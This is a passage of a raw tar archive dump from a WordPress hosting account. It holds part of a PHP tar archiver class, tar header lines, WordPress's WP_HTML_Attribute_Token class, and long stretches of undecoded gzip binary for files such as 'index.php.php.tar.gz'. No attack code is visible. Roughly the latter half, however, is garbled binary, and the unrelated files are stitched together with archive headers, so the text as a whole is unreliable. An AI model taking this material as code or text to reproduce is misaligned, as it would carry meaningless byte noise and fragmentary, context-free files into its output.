					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.tar000064400000011000151440300030013632 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
class-wp-html-text-replacement.php.php.tar.gz000064400000001226151440300030015210 0ustar00��UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�index.php.php.tar.gz000064400000062251151440300030010352 0ustar00��i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
�o*�4)�*������@C�@�m���TbF|��I��F���R�9êm��;�*�AG՛��M���r��b�,����T#3�Q��06���ܽ���`�Z�HZy�;��w��V_P�yh�k����41�J?OY�H��n^��}��ԝs������4��*�vJ�YV�z��L��$�^)�>_�~�%����SmKB�n5�WJC�~|�X�v0u����Ç���h���AA�q@���n��N*f0m���I�N��3�:J��i)7�~���`�X*��P�Q�Q�T��DR�G�1�j�s>*��T��#������Քk��o����CZ�l�M��Z�RtJ�i���ҚL>�P��&�T��P%ط
�"�=p�c��q�߼Z�4��L�z�ZKw�~E��`�΁=
ڇr�(��J֢�j�w7�UHCW�E�B?>ZyO
��Z<���Oo�j`Z�O�a�?V6��v&D����
��7�N�8G�`$�
w{@N���` 
n͞�p����'��4�[�������G}�E���
���p�%�I*
��c6���h<��a�c)��W�[|d���u2�Nw2c�+��n�D�.0Z9!��c<��'h���QS��C��w]Y���7V38�Ii%��fk5���h@���&t�Ͱ���f5wT��0���!�V,u�3��B���������|M}T�۪�`����b����'w���n�z!w�^��+�l�S��`�����v���K�>t�^
���[/����9F����-�
���n��i�km���~49֣�܎��&t�؊����,�S:�o܊<��_~�7q�����n>~�A_���8RG��`��K|��rB͡��#p�²`w��+4;X��(��W�C��}���+��*���"qr��>�9n�iI&9d+M�m��q����F(\��~��)��a�P2���)]0x��u⒢��$<�7<���ޗ��R�[�U�)��Qկ���a��k�K1"X�[�Ct�/����w��?���O���4�(�U��+�*��8�k�g��y�C=f�����x�=���t�X"�-�l�E��"`��37؃����v��
�n,X-in��@,�Lޢs�p6��-
�ţ�l��T�Wyr�XL�y���-pF�:E4��
�p�p�8�S�����ʌZ_�g���_�#�És{Sߤ��L6F��-�ŋUt���KQ��Fk�St�r���+��(աj���v��k5��V�4�pxDK����pk�Dw�He�4t
4�χ�q3h�$h0�e-���x!#��FuFQ���,��
�BL'm#X$5n�����L�H��͘��z4���`q����Z����7���Z�1pc��%z�U���44Eu�~�3e� T�[��K��bf֪���G*�x>Z��EkH<��;>]����	:9��:!!�f�L1�k�0�����\�>���a��N���W{�Ʋ0�ÛV���B^�t��R���#���_���f[��u���V��/&�	���gR�Z��\I*���y�)�'�z�W�x�i=c�L"��h�驱�D4t8l��lz����Z�~��ꖸ<����b�k���|��>�Χ�� [8��j&ݘz��\R��I:�ժ�l:��6�jfOo�Us)��l>=��i%[Jw�Ll6//��"Hc�A']���J?T��i5]L�cﰓ.eY�O73C!�陵l��~O����,��m:�Z��h�6Qӹ�C/4(�+�p������}:=���-��]�ӭ8(�T��"�R{��(�h���h2���v3����lp�	�O�iD:��O�]3�o>L��z+.�N9SKӓDbZ;�*��'��䪑����5)�		5&'������+��z!0Vu��P���Q�UI�OZ��d=a�\e ��J7-�E�G׶�H����+� �=ͣ�iy��G˧�8*n:ݣ���)���`��J��S�p�i�&[�蔻�C��0-VFQ)yOWF�޲�}%�~,G�R7̷G�h~!�S�|��.��B`��GԄ��V��C7�%o�iݪ0S��m��Q�񾓎lF�t�&���$7)��(��	��r�0R�E{�L����yE蔕}�li�������N��=�3�C&�2Yz7�I��C��mN3�좝�����}�����0͂޵	��l��i1%�3JG�[�1���9z9�>�3��>�m�2���o�3|����d6�L���HiT(e�C6��gZ��|ݪu'����
����MJ�ipW\/�q���;�ɏvB���v��\��[3�pQj�ɦ9�o�R�Qz�4Gr�i�!�7W�I#$%���h��O��C#?̥�;��U:%;���</���n��V��:"�	��6ۓ�S:����@i�oE3�´��������>��Y顶�禅��þ�Y�ׁYjyG�~V�M��R%�x�K�Ne���F��o��nu�_4���nY���C1���K޹�(�vF��"3(���â��/=�E�����9MJY||H��N��-I]e�jOE!_��́��=dzL��!I�5��I2�!SU(o�}N�Z��L�Mv��v�,��:���i�K�;
����Њօd�)�l�-/�K7�v[�Ns��T,g�bz��p���w�A �v��v��un��
�^o�R�e�0�/g����fz����J�V��>Uz%��I�%�W
6f���Vjo�6c����Zp�0ؤ���ݟG��6��-ʼnңg�j�
UJx����*2N:O���zڅ��O�Bq�Z��|�y���A���Ի�Y�>���@g"��2�����igS�J�b��T�Ao'��̓ �r���V����0�8���4��]@��� B�3���M
�03*/w�Z�#e>�bbݡ4T�l<�^zc}Q��A�cc��E�t���.��-��}�0)*��<�*��t��uz��a�V�a�W�=�j�f�7�O�~��f�	)�+κ�Ƭ(���y$.G��a�_Q]�p�Z|�lw��E���;9��K���R.��!�*���
���X
e� )����e�b���V��zړ��L���-Y%��"��Z]�F�e\��1YT�6�۩�"��J���Q�ku
�bʊj�q���:�A-�C5���ǃ�Ja�A�(��r�Ǻc�ú��e%��\#�k��i�RŊ��0`�B���"�_Z?�#�Je9�V��p��K�Uf��W�6��"^n�!)�׵ut��#1�
���ة�F��ʹ�l��F��jq3�f��ğ��>9�DO2�m�X/�ڰ�n�M΢{�[�F�pxV�{t��Ȇ��q���mD�[jt�N��L�Yq��f�ä[�<n+q�2Qz덃<��}�ff�l���ef��:Y?e�vA��M�}�Fg��(��a0^�iv]+�p��y����b#��	��jO�V8_;��X�a�/U��MD�}�\kK�]5jRx=k���z ��`�g���m�~��-��F��q�>��Yo-^�i^n9澾ݴ���LKJ}9HwJ�z���m�ҫU��>�Kv�Xϊb�~� �x�US��P�6*O���|��<���b��4��:u�R�N��r^�Us��8���r*�Fg����� �k��igP
�K1�����0V���XE�'8�9~`���
*@p6WC�W���^�W��1�/��F�M->���Y�6"M�y�ԎʡeP���c�I�E)��v;�Uʑ]�P�3�mb]Z�ʋp�ۨ�(�ˁ7ʓ^<��*�Y�c[��]?��f��Npz�7���bK����<��Qo��H�P������ځ�ɯ;�����qC��D��%���Sn���U �&�z8��?
+�q�\[�'��k�t��'���`{�k��^���V}���T�o�@��4|��t'��Q�^�׫���X}���F,��Z�$>1����^�m�4�/mc�`\�[�v��jϒ}9�w;��^�7�>P�M����P��m�^��ƣ�0=�r�a�]\����d�q�VB��bSfZK��بþ��u[o��¢�h%�q.�
4
B���u��"�W:��x��YaL��x4\�
%y���pHj��X��3
̟hH�MnSj�#l��y��^|��X%bO��K	z��t\\��YFL\\sr(ȅ��Xk��q6Y	F�!T�z'�nƵؐ��Ӹ�yǏ�e=��*���w�d>�6Y!�{�����6��j{�M�Q���FL���6���`�[s��,�&�zG��J26ދ�Dr~��N�xZY���f���b�q=0����x/D���i/М����Pb��Mc���P����F�>�G�.����F��J���E�q�(���ݢ3��ttv���C�Uຮ؟���t�N7i:�M.�(���(?�� ���J�1��{6/�Z��(���S�+��u�b������>��鄔n��+��O���Q,e@�|�����Ʉi�o:�}��{��D�Ip�a9=��j�7��i3��,�`PI.��_0��*�O39�����k��P=��m��(g��R7����P6�`��W�\�[o�Ԭ��k�ݽ��|zȅN�[�'%YO�r�|���)�R�Z�yG�$�.
s��i�뀺�vB�m~0Mך��bo��an���
�=����\c��6�q��0-��`bg�e�!�&���L�o��Hr-�k�Sf���h�3~\�`%�����w��*�i2YK��;�{7�@�\Lθ��<�.�J����c�l7���º��u�3޲;^-���v���z�ᐝ�:���V�xs�A+ٯu*aqUˉ��Zf�P)����R�5.{�:���}3����>x���I���B���3�UE*�����L���򰨔FZ	=���}��ͯ˃^3K�v�E5h$xv�Ns�!��l��1��7DIYO���^J�T����M�YaC�%!\�#�~�춡^w��y�Й���E6{�1�!���b���-�[�/��_l!��B~���b���-�[�/��_l!?�-�3�>��0
e&1'���c��Hw��(z�qe~b�j����4m5��\;�c�@��䷥F�0/�~�%��Z��
��~�K$�	L�bN��d���H�m�sz�M&�aq�{�7q�wVX3��O��!�N$�XC�c��9�ŋ��t����d ��
X���R�TU��e)��kK�q�!(p�rW'z�t-\�H*�V�*3�ʛ�tS��=���ؒZbJ`���̣�6X�$[�t�[�F�^c�mCU�?��-�;[-�%Z����M���R~�{뵃,��5��?�S�:}�q!��՟��z��|'<�.�YF�ҝ���r�|9�m����Sb;f
�bi��ЅH�aIF&��}4�����X����5�ŴX,=&Z���X��6�hP���
